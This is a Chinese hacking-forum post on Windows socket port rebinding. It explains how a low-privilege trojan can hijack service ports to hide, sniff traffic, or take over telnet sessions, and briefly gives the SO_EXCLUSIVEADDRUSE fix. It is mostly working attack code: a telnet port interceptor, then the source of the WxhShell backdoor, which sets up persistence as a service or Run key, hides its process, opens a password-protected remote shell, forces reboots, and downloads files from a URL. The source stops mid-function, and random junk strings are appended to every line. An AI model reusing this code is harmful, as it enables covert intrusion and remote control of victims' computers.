社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14910阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D@%!|:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cJ\ 1ndBH  
vRb7=fXf  
  saddr.sin_family = AF_INET; lWDSF]ZYV  
}Te+Rv7{E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'w0?-  
ASB3|uy_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lS|F&I5j  
{A~3/M%74;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (%'`t(<  
P~84#5R1  
  这意味着什么?意味着可以进行如下的攻击: z))rk vL%  
N)/7j7c~;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tzY?LX[3  
9a#Y D;-p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XVF!l>nE  
1 F&}e&}c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _yp<#q]  
MoXai0d%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @O/"s~d-  
Wcbm,O4u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'U,\5jj'Y  
J| 1!4R~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {11 3B)  
mA#;6?6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cSjX/%*!m  
E5?$=cL?  
  #include XP[~ :+  
  #include )Y`ybADd3  
  #include e~SRGyIww  
  #include    vuZ'Wo:S{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W6RjQ1  
  int main() ~R\ $Z  
  { R[kF(C&  
  WORD wVersionRequested; RBHU5]5  
  DWORD ret; 0KZ$v/m  
  WSADATA wsaData; dGUiMix{N  
  BOOL val; WHqw=! G  
  SOCKADDR_IN saddr; ps^["3e  
  SOCKADDR_IN scaddr; *uSlp_;kB  
  int err; ZENblh8fs  
  SOCKET s; +Ht(_+To1  
  SOCKET sc; _;R#B`9Iu  
  int caddsize; TrNh,5+b  
  HANDLE mt; a]J>2A@-I  
  DWORD tid;   l GJN;G7  
  wVersionRequested = MAKEWORD( 2, 2 ); -v:3#9uX)  
  err = WSAStartup( wVersionRequested, &wsaData ); ,kUg"\_k  
  if ( err != 0 ) { ,4k3C#!. i  
  printf("error!WSAStartup failed!\n"); @vL0gzE?nB  
  return -1; y4VO\N!  
  } !hE F.S  
  saddr.sin_family = AF_INET; $KBW{  
   `<#O8,7`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  N!Xn)J  
"([lkn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3m~,6mQ  
  saddr.sin_port = htons(23); Q[FDk63;w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I+`>e*:@W  
  { P F);KQ  
  printf("error!socket failed!\n"); 2k m0  
  return -1; TxH amI l  
  } og_ylCh:  
  val = TRUE; BjHp3-A'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8bf@<VTO_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E&Zt<pRf;2  
  { fl4 0jo]  
  printf("error!setsockopt failed!\n"); 8@){\.M  
  return -1; a p(PI?]X  
  } '*EKi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >;#rK@*&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y5P9z{X=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ERIF#EY  
HG)$ W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,Y16m{<eC  
  { \tA@A  
  ret=GetLastError(); VCT1GsnE  
  printf("error!bind failed!\n"); |,({$TrF  
  return -1; Y\ ;hjxR-  
  } sLzZ}u?(  
  listen(s,2); bM }zGFt  
  while(1) 2IP<6l8N  
  { =$T[  
  caddsize = sizeof(scaddr); 'H"!%y{:i  
  //接受连接请求 ?m9=Me  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,|]k4F  
  if(sc!=INVALID_SOCKET) I,"q:QS+  
  { ] VEc9?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4q?R3 \e;  
  if(mt==NULL) ?kRx;S+  
  { tOZ-]>U  
  printf("Thread Creat Failed!\n"); P)~olrf  
  break; sn Ou  
  } O&#>i]*V  
  } YRv}w3yQ  
  CloseHandle(mt); QWWI  
  } crx%;R   
  closesocket(s); |QQ(1#d  
  WSACleanup(); rl2(DA{  
  return 0; Y1F%-o  
  }   XsSDz}dg  
  DWORD WINAPI ClientThread(LPVOID lpParam) fo <nk|i  
  { TkIiO>  
  SOCKET ss = (SOCKET)lpParam; E 0OHl  
  SOCKET sc; jw/@]f;N  
  unsigned char buf[4096]; m63>P4h?  
  SOCKADDR_IN saddr; hpq\  
  long num; Bsk` e  
  DWORD val; h A '>  
  DWORD ret; oW>e.}d!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dnM.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uH7!)LE#  
  saddr.sin_family = AF_INET; Dc 84^>l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dKevhm)R"  
  saddr.sin_port = htons(23); O7od2fV(i7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T hVq5  
  { :H]MMe  
  printf("error!socket failed!\n"); LG{50sP`  
  return -1; $O fZp<M  
  } .&Sjazk0XO  
  val = 100; 0IHAoV60  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \5a;_N[Ed  
  { a=sd&](_  
  ret = GetLastError(); "|N0oEG&  
  return -1; #WE lL2&  
  } i3) 7Qa[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Qpd<L  
  { g6$\i m  
  ret = GetLastError(); _s:5)  
  return -1; ) bd`U  
  } Yf1%7+V35  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mZ0_^  
  { 8M]QDgd.  
  printf("error!socket connect failed!\n"); }0>\%C  
  closesocket(sc); vq\L9$WJ  
  closesocket(ss); ?5EMDawt  
  return -1; W@+ge]9m&  
  } L"uidd0(g  
  while(1) e5w0}/yW/  
  { [Kb)Q{=)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %/}d'WJR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q6o}2<T@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m6@;!*Y  
  num = recv(ss,buf,4096,0); \ >#y*W<  
  if(num>0) Z4{N|h?  
  send(sc,buf,num,0); T:!H^  
  else if(num==0) sdKm@p|/|  
  break; fF5\\_,  
  num = recv(sc,buf,4096,0); "y ;0}9]n1  
  if(num>0) jS|jPk|I.  
  send(ss,buf,num,0); ,o0[^-b<  
  else if(num==0) s -F3(mc(  
  break; -AQ 7Bd  
  } R-2Aby ts2  
  closesocket(ss); G*-7}7OAs  
  closesocket(sc); I]Z"?T  
  return 0 ; 2Y;iqR  
  } a!&m\+?  
|T*t3}  
3g0v,7,Zv  
========================================================== YdYaLTz  
qy-Hv6oof  
下边附上一个代码,,WXhSHELL %4/X;w\3  
q1A0-W#4  
========================================================== "rrE_  
iE]^ 6i  
#include "stdafx.h" @y|JIBBRc  
 \Awqr:A&  
#include <stdio.h> !$Arc^7r  
#include <string.h> j,1cb,}=^  
#include <windows.h> R78P](1\>  
#include <winsock2.h> ! OOOc  
#include <winsvc.h> /~g.j1g  
#include <urlmon.h> d:h X3  
+('=Ryo T  
#pragma comment (lib, "Ws2_32.lib") #-PUm0|  
#pragma comment (lib, "urlmon.lib") g{hbq[>X]  
D&6.> wt .  
#define MAX_USER   100 // 最大客户端连接数 #*  8^ar<  
#define BUF_SOCK   200 // sock buffer kcP&''  
#define KEY_BUFF   255 // 输入 buffer .|y{1?f_  
/f>I;z1  
#define REBOOT     0   // 重启 NRs%q}lX  
#define SHUTDOWN   1   // 关机 SPINV.  
cdg &)  
#define DEF_PORT   5000 // 监听端口 b\xse2#  
b^<7@tY  
#define REG_LEN     16   // 注册表键长度 J& D0,cuk  
#define SVC_LEN     80   // NT服务名长度 j^Ln\N]^  
iUS?xKN$~-  
// 从dll定义API F[X;A\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G%%5lw!y'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c}2"X,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )2F%^<gZ#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hM8FN  
HZ89x|H k_  
// wxhshell配置信息 ZRUI';5x  
struct WSCFG { Pj7MR/AH  
  int ws_port;         // 监听端口 ]w!=1(  
  char ws_passstr[REG_LEN]; // 口令 mvyOw M  
  int ws_autoins;       // 安装标记, 1=yes 0=no sw,p6T[  
  char ws_regname[REG_LEN]; // 注册表键名 9n3.Ar  
  char ws_svcname[REG_LEN]; // 服务名 = Fwzm^}6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $-n_$jLY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jZ?^ |1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UFj/Y;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $o*p#LU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |YrvY1d!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wR9gx-bE 4  
0fa8.g#I$  
}; vARZwIu^D  
M:%Ll3  
// default Wxhshell configuration QhPpo#^  
struct WSCFG wscfg={DEF_PORT, :Lq=)'d;6  
    "xuhuanlingzhe", NOtwgZ-  
    1, Y_nlIcu  
    "Wxhshell", (=tu~ ^  
    "Wxhshell", 8qs8QK  
            "WxhShell Service", rU7t~DKS  
    "Wrsky Windows CmdShell Service", 9|>5;Ej  
    "Please Input Your Password: ", T{Yk/Z/}?  
  1, *35o$P46  
  "http://www.wrsky.com/wxhshell.exe", wtfM }MW\  
  "Wxhshell.exe" D!bi>]Yd  
    }; <-!' V,c  
)umW-A  
// 消息定义模块 h6e,w$IL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :a M@"#F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nY?X@avo>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n:%A4*  
char *msg_ws_ext="\n\rExit."; !jN$U%/,%.  
char *msg_ws_end="\n\rQuit."; X+//$J  
char *msg_ws_boot="\n\rReboot..."; ^ANz=`N5,  
char *msg_ws_poff="\n\rShutdown..."; mz^[C7(q'(  
char *msg_ws_down="\n\rSave to "; Q0TKM >  
6`)Ss5jzk  
char *msg_ws_err="\n\rErr!"; u6P U(f  
char *msg_ws_ok="\n\rOK!";  83:qIfF  
KI5099_/  
char ExeFile[MAX_PATH]; lDG.\u  
int nUser = 0; Y= ^o {C6  
HANDLE handles[MAX_USER]; {ALOs^_-  
int OsIsNt; -V}ZbXJD  
&fifOF#[ e  
SERVICE_STATUS       serviceStatus; [&{NgUgu"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 21\?FQrz  
)H1chNI)  
// 函数声明 E>qehs,g  
int Install(void); cONfHl{  
int Uninstall(void); ` aaT #r  
int DownloadFile(char *sURL, SOCKET wsh); .%mjE'  
int Boot(int flag); i-&"1D[&  
void HideProc(void); *q(HW  
int GetOsVer(void); CIf""gL9  
int Wxhshell(SOCKET wsl); ZRCUM"R_  
void TalkWithClient(void *cs); r A9Rz^;xa  
int CmdShell(SOCKET sock); 9;EY3[N  
int StartFromService(void); %gXNWxv  
int StartWxhshell(LPSTR lpCmdLine); B4;P)\ 2  
5>M@ F0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < nyk:E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OY(znVHU  
X]t *  
// 数据结构和表定义 -!ERe@k(  
SERVICE_TABLE_ENTRY DispatchTable[] = SP5t=#M6  
{ u5dyhx7  
{wscfg.ws_svcname, NTServiceMain}, \E EU G^T  
{NULL, NULL} ~8G cWy6  
}; ~sc@49p  
|n.ydyu`  
// 自我安装 | b)N;t  
int Install(void) +@K8:}lOW  
{ Z!qF0UDj  
  char svExeFile[MAX_PATH]; P+;@?ofB  
  HKEY key; =v/x&,Uj@6  
  strcpy(svExeFile,ExeFile); M.}QXta  
{X>U`0P  
// 如果是win9x系统,修改注册表设为自启动 F6#U31Q=  
if(!OsIsNt) { "_/5{Nc$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hdee]qLS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vghn+P8  
  RegCloseKey(key); w^QqYUL${  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |)u|@\{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]ch=D  
  RegCloseKey(key); W[j7Vi8v  
  return 0; XY`2>7  
    } .Dg'MM BM  
  } >eaK@u-'0  
} JZrUl^8E  
else { v4wXa:CJ  
U HUO9h  
// 如果是NT以上系统,安装为系统服务 1oIu~f{`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YiPp#0T[Gx  
if (schSCManager!=0) \Rvsy;7  
{ Q Ph6 p3bg  
  SC_HANDLE schService = CreateService >@U lhJtW  
  ( 4WV)&50  
  schSCManager, ) XHcrm&  
  wscfg.ws_svcname, _i{4 4zE  
  wscfg.ws_svcdisp, VR0#"  
  SERVICE_ALL_ACCESS, H[8P]"*z*i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1_.#'U>  
  SERVICE_AUTO_START, >~^##bIb  
  SERVICE_ERROR_NORMAL, - dt<w;>W  
  svExeFile, jj 9eFB  
  NULL, "t" &6\  
  NULL, >zAI#N4  
  NULL, k|T0Bly3P  
  NULL, kXbdR  
  NULL 7%4@*  
  ); 1 +'HKT}  
  if (schService!=0) bwAL:  
  { & A<Pf.Us  
  CloseServiceHandle(schService); ;F<)BEXC<  
  CloseServiceHandle(schSCManager); h8_~ OX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' ! ls"qo  
  strcat(svExeFile,wscfg.ws_svcname); rfNt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gJ>HFid_C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Af"vSL  
  RegCloseKey(key); cZ~\jpK  
  return 0; > ak53Ij$  
    } u +OfUBrf  
  } Ey "<hAF  
  CloseServiceHandle(schSCManager); 1"CbuV 6  
} %U)M?UNjw  
} i@ avm7  
L~FE;*>7  
return 1; g#ONtY@*U  
} F- n1J?4b  
AFSFXPl "  
// 自我卸载 ?k:i3$  
int Uninstall(void) QYL ';  
{ BOp&s>hI  
  HKEY key; LvNk:99:<  
 VgNt  
if(!OsIsNt) { q}["Nww-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TGz5t$]I  
  RegDeleteValue(key,wscfg.ws_regname); cNG6 A4  
  RegCloseKey(key); k]`3if5>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { []M+(8Z_P  
  RegDeleteValue(key,wscfg.ws_regname); uv[e0,@  
  RegCloseKey(key); G#4cWn'  
  return 0; %j=,c{`Q  
  } 7>m#Y'ppl@  
} 9bT,=b;  
} U)p P^:|  
else { ?Y~>H 2  
"zO+!h'o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i4"xvL K4  
if (schSCManager!=0) FB PT@`~v  
{ a|\_'#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~>)GW  
  if (schService!=0)  iV71t17  
  { G?/1 F1  
  if(DeleteService(schService)!=0) { VMW ?[j  
  CloseServiceHandle(schService); ;.h5; `&  
  CloseServiceHandle(schSCManager); R@0ELxzA  
  return 0; QE5 85s5  
  } 'vTD7a^  
  CloseServiceHandle(schService); gGU3e(!Uc  
  } kc8T@5+I0  
  CloseServiceHandle(schSCManager); *R>I%?]V3  
} * #;rp~  
} um&e.V)N  
B%9[  
return 1; :OBggb#?!  
} $hO8 S=  
qD#-q vn  
// 从指定url下载文件 0p$?-81BJ  
int DownloadFile(char *sURL, SOCKET wsh) q#PGcCtu  
{ MT#9x>  
  HRESULT hr; nZN]Q9  
char seps[]= "/"; b\?#O}  
char *token; N[ArwV2O  
char *file; (w% hz']  
char myURL[MAX_PATH]; c uquA ~  
char myFILE[MAX_PATH]; a(8]y.`Tv  
+.HQ+`8z]  
strcpy(myURL,sURL); m= fmf(  
  token=strtok(myURL,seps); W9V%Xc`LQ  
  while(token!=NULL) AJ:@c7:eS  
  { $b$r,mc  
    file=token; yZFv pw|g  
  token=strtok(NULL,seps); tQJ@//C\z  
  } +.\JYH=yEr  
v-[|7Pg}Z  
GetCurrentDirectory(MAX_PATH,myFILE); \{+7`4g  
strcat(myFILE, "\\"); m$hSL4 N  
strcat(myFILE, file); :yk Z7X&  
  send(wsh,myFILE,strlen(myFILE),0); i`8!Vm  
send(wsh,"...",3,0); :eQx di'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3g2t{ %  
  if(hr==S_OK) ZLKS4  
return 0; <WBGPzVZE  
else YQX>)'  
return 1; B?Y%y@.  
p|Rxy"}  
} hY'"^?OP  
dt3Vy*zL  
// 系统电源模块 9i|6  
int Boot(int flag) 0#*\o1r\p  
{ on&N=TN  
  HANDLE hToken; 2#W%--  
  TOKEN_PRIVILEGES tkp; 9f,HjRP  
web&M!-  
  if(OsIsNt) { -R7f/a8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]\ r~"*TZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x5`q)!<&  
    tkp.PrivilegeCount = 1; e$>5GM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N{p2@_fnB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !>S' eXt  
if(flag==REBOOT) { _9 Gy`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [sNn^x  
  return 0; S-f3rL[?  
} 2,QkktJLo  
else { qs-:JmA_w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \HK#d1>ox  
  return 0; ^ACp_RM  
} [sKdIw_  
  } #{ Uk4  
  else { Q}fAAZ&7h  
if(flag==REBOOT) { q}\\p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qn*c<:  
  return 0; T. ` %1S  
} U5Ho? `<  
else { !^"hYp`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ugdm"  
  return 0; / V {w<  
} 0U/:Tpyr  
} *iC t4J  
 B-&J]H  
return 1; Cq(Xa-  
} Y6D =tb  
x6)   
// win9x进程隐藏模块 RXWjFv~/  
void HideProc(void) e&0B4wVAQ  
{ zw5~|<  
Le3S;SY&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Aoo'i  
  if ( hKernel != NULL ) BEI/OGp  
  { ReK@~#hLY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )7i?8XiSZF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l5h9Eq  
    FreeLibrary(hKernel); s)M2Z3>+  
  } R<U?)8g,h~  
2bxT%xH:g  
return; ;!~;05^iD  
} dIpt&nH&$  
'Vrev8D  
// 获取操作系统版本 /e7'5#v  
int GetOsVer(void) /t9w%Y  
{ q/B+F%QiMQ  
  OSVERSIONINFO winfo; +pcj8K%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f$ Ap\(.  
  GetVersionEx(&winfo); mJsYY,b8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Iiy:<c  
  return 1; ynDx'Q*N'  
  else ,F-tvSc\Q  
  return 0; ?xf;#J+{8  
} wl{p,[]  
eh`V#%S=  
// 客户端句柄模块 zPw R1>gL  
int Wxhshell(SOCKET wsl) "pWdz}!  
{ AQiP2`?  
  SOCKET wsh; - 5k4vx N}  
  struct sockaddr_in client; OUdeQO?  
  DWORD myID; G1nW{vce  
i L m1l  
  while(nUser<MAX_USER) ]Z84w!z  
{ }DM2#E`_  
  int nSize=sizeof(client); =:g^_Hy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AngECkF-  
  if(wsh==INVALID_SOCKET) return 1; *xl7;s  
4KM$QHS5{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iP!Y4F  
if(handles[nUser]==0) G/8xS=  
  closesocket(wsh); ?X9 =4Z~w  
else 3=<iGX"z  
  nUser++; ~NcJLU!au  
  } NuooA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c df ll+  
n47=eKd70  
  return 0; =3zn Ta }  
} @NH Ruk+  
&=?`;K  
// 关闭 socket m+m6"yE#_  
void CloseIt(SOCKET wsh) 6>L.)V  
{ tZ@ +18  
closesocket(wsh); z1FbW&V  
nUser--; Qr<%rU^{.  
ExitThread(0); I| j tpv}  
} R^2Uh$kk{A  
"{B ek<  
// 客户端请求句柄 o5D"<-=>  
void TalkWithClient(void *cs) H4m6H)KOG  
{ kR6 t .  
v\Wm[Ld  
  SOCKET wsh=(SOCKET)cs; y[zA [H:  
  char pwd[SVC_LEN]; {4QOUqAu  
  char cmd[KEY_BUFF]; <{U{pCT%  
char chr[1]; Fm;)7.% >  
int i,j; mWusRgj+8  
OhW=F2OIV  
  while (nUser < MAX_USER) { )]%9Tgn  
Ds G *  
if(wscfg.ws_passstr) { `Of wl%G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >#:/ GN?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NDOZ!`LqH  
  //ZeroMemory(pwd,KEY_BUFF); NI1HUUZz  
      i=0; &V?q d{39  
  while(i<SVC_LEN) { Ij #a  
1:Yt2]  
  // 设置超时 9_Re,h  
  fd_set FdRead; "pZ3  
  struct timeval TimeOut; g& "(- :  
  FD_ZERO(&FdRead); |x6mkSf]ke  
  FD_SET(wsh,&FdRead); 8Wj=|Ow-q  
  TimeOut.tv_sec=8; fMQ*2zGu95  
  TimeOut.tv_usec=0; UC1!J =f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +r0eTP=zf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,OKM\N ,  
yo*iv+l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /,Rca1W  
  pwd=chr[0]; nFfCw%T?  
  if(chr[0]==0xd || chr[0]==0xa) { }91mQ`3  
  pwd=0; H<;Fb;b  
  break; X}*o[;2G  
  } 5|R2cc|"9  
  i++; q`aY.dD=O  
    } y@M}T{,/  
3\KII9  
  // 如果是非法用户,关闭 socket 2\w=U,;(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u!uDu,y  
} t%U[\\ic  
A(n=kx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :6u3Mj{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e9W7ke E*  
IMGqJc,7  
while(1) { ~B&*7Q7  
pIu H*4Vz  
  ZeroMemory(cmd,KEY_BUFF); uit-Q5@~  
UNQRtR/  
      // 自动支持客户端 telnet标准   4*vas]  
  j=0; be:phS4vz  
  while(j<KEY_BUFF) { -L9R&r#_e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ys$YI{  
  cmd[j]=chr[0]; v1C.\fL  
  if(chr[0]==0xa || chr[0]==0xd) { Tq84Fn!HJ>  
  cmd[j]=0; T'M66kg  
  break; Q==v!"Gi|  
  } @E}X-r.^f  
  j++; VK'T[5e  
    } b|dCEmFt  
O4/n!HOb  
  // 下载文件 &ZE\@Vc  
  if(strstr(cmd,"http://")) { ;x-H$OZX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {1MGb%xW  
  if(DownloadFile(cmd,wsh)) uXLZtfu{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bV`C;RPn  
  else _?s %MNaX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L)lQ&z?  
  } b;L>%;  
  else { WkaR{{nM  
kz0=GKic  
    switch(cmd[0]) { P/pjy  
  D4q >R;  
  // 帮助 m`$>:B  
  case '?': { V+qJrZ ,i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g6g$nY@Jm  
    break; hoR=%pC*  
  } _~[?> cF%  
  // 安装 JT|u;Z*n  
  case 'i': { ?{: D,{+  
    if(Install()) _E6} XNS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o}=.  
    else ?Hi}nsw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sc8DY!|OYN  
    break; CofH}-  
    } ( f,J_  
  // 卸载 MdH97L)L.0  
  case 'r': { ]iDJ*!I  
    if(Uninstall()) uyNJN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VI24+h'J  
    else )_8}53C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |= cCv_y  
    break; z Bt`L,^  
    } :,kU#eZ$-  
  // 显示 wxhshell 所在路径 Vf 0fT?/K  
  case 'p': { \C K(;J  
    char svExeFile[MAX_PATH]; +~d1 ;0l|  
    strcpy(svExeFile,"\n\r"); >`89N'lZBm  
      strcat(svExeFile,ExeFile); 5r4gmy>  
        send(wsh,svExeFile,strlen(svExeFile),0); )4ilCS&  
    break; S= -M3fP~  
    } V5a?=vK9  
  // 重启 sS2_-X[_  
  case 'b': { uuSR%KK]|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ad;S=h8:  
    if(Boot(REBOOT)) s=N#CE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #, Q}NO#vT  
    else { /2e%s:")h  
    closesocket(wsh); BR36}iS;V  
    ExitThread(0); )C {h1 `  
    } pp~3@_)b  
